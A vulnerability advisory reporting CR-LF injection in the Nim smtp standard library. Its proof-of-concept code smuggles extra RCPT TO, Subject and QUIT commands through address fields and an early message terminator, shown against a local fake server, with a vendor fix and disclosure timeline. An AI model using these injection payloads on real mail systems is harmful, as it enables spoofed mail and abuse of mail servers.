Nim - stdlib smtp - multiple crlf injections

Vulnerability Note

1 Summary

The following vulnerability note describes vulnerabilities found in the nim-lang smtp standard library.

2 Details

2.1 Description

The nim standard library smtp is vulnerable to multiple protocol character sequence injections (CR-LF and CR-LF.CR-LF). An injection is possible if the attacker controls any argument that is passed to the remote server such as any address (from, to, cc), or the message itself.

2.2 Proof of Concept

1) CR-LF injection in parameters to createMessage and sendmail

note: \c\LSubject: [email protected]" in mto (note same works for mCc, ..)

note: \c\LRCPT TO:<[email protected]> in fromAddr, toAddr

import smtp

var msg = createMessage("Hello from Nim's SMTP",
                        "test",
                        @["[email protected]\c\LSubject: [email protected]"])
echo msg
let smtpConn = newSmtp(useSsl = false, debug=true)
smtpConn.connect("localhost", Port 10001)
smtpConn.sendmail("[email protected]\c\LRCPT TO:<[email protected]>", @["[email protected]\c\LRCPT TO:<[email protected]>"], $msg)

Output:

⇒  nim c -r -d:ssl  smtp_inject.nim
...
Hint: /Users/tintin/workspace/nim/test/issues/smtp_injection/smtp_inject  [Exec]
TO: [email protected]
Subject: [email protected]
Subject: Hello from Nim's SMTP

test
S:220 fake smtpd
C:HELO localhost

S:250 ok
C:MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>

S:250 ok
C:RCPT TO:<[email protected]>
RCPT TO:<[email protected]>

S:250 ok
C:DATA

S:354 End data with <CR><LF>.<CR><LF>
C:.

S:250 ok
⇒  nc -l 10001
220 fake smtpd
HELO localhost
250 ok
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
250 ok
RCPT TO:<[email protected]>
RCPT TO:<[email protected]>
250 ok
DATA
354 End data with <CR><LF>.<CR><LF>
TO: [email protected]
Subject: [email protected]
Subject: Hello from Nim's SMTP

test
.
250 ok

2) msg-end injection in message: <CR><LF>.<CR><LF>

note: <CR><LF>.<CR><LF> in message is not encoded and therefore allows to terminate the messsage early, injecting a command into the smtp stream.

import smtp

var msg = createMessage("Hello from Nim's SMTP",
                        "Hello!.\c\L\n Is this awesome or what?\c\L\c\L.\c\LQUIT",  #EOF message injection in messagre. leading dot is not escaped
                        @["[email protected]"])
echo msg
let smtpConn = newSmtp(useSsl = false, debug=true)
smtpConn.connect("localhost", Port 10001)
smtpConn.sendmail("[email protected]>", @["[email protected]>"], $msg)

run:

Hint: /Users/tintin/workspace/nim/test/issues/smtp_injection/smtp_inject  [Exec]
TO: [email protected]
Subject: Hello from Nim's SMTP

Hello!.

 Is this awesome or what?

.
QUIT
S:220 fake smptd
C:HELO localhost

S:250 ok
C:MAIL FROM:<[email protected]>>

S:250 ok
C:RCPT TO:<[email protected]>>

S:250 ok
C:DATA

S:354 End data with <CR><LF>.<CR><LF>
C:.

S:250 ok
⇒  nc -l 10001
220 fake smptd
HELO localhost
250 ok
MAIL FROM:<[email protected]>>
250 ok
RCPT TO:<[email protected]>>
250 ok
DATA
354 End data with <CR><LF>.<CR><LF>
TO: [email protected]
Subject: Hello from Nim's SMTP

Hello!.

 Is this awesome or what?

.
QUIT
.
250 ok

or using a simple SMTP debug server:

import smtpd

class SMTPTestServer(smtpd.SMTPServer):
    def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):
        print(peer, mailfrom, rcpttos, data)

Note that the msg is cut off at CR-LF.CR-LF and the next message is injected into the smtp stream.

⇒  python -m smtpd -n -c smtpdebug.SMTPTestServer localhost:10001
(('127.0.0.1', 49282), '[email protected]>', ['[email protected]>'], "TO: [email protected]\nSubject: Hello from Nim's SMTP\n\nHello!.\n\n Is this awesome or what?\n")

2.3 Proposed Fix

  • properly validate all parameters used in the module. Do not allow any context sensitive characters of the underlying protocol

3 Vendor Response

Vendor response: fixed in v1.2.6 (Official Security Advisory)

3.1 Timeline

JUL/13/2020 - contact nim developers @telegram; provided details, PoC
MAR/26/2021 - vendor advisory (https://github.com/nim-lang/security/security/advisories/GHSA-p5f5-fxhh-qx3w), public disclosure

4 References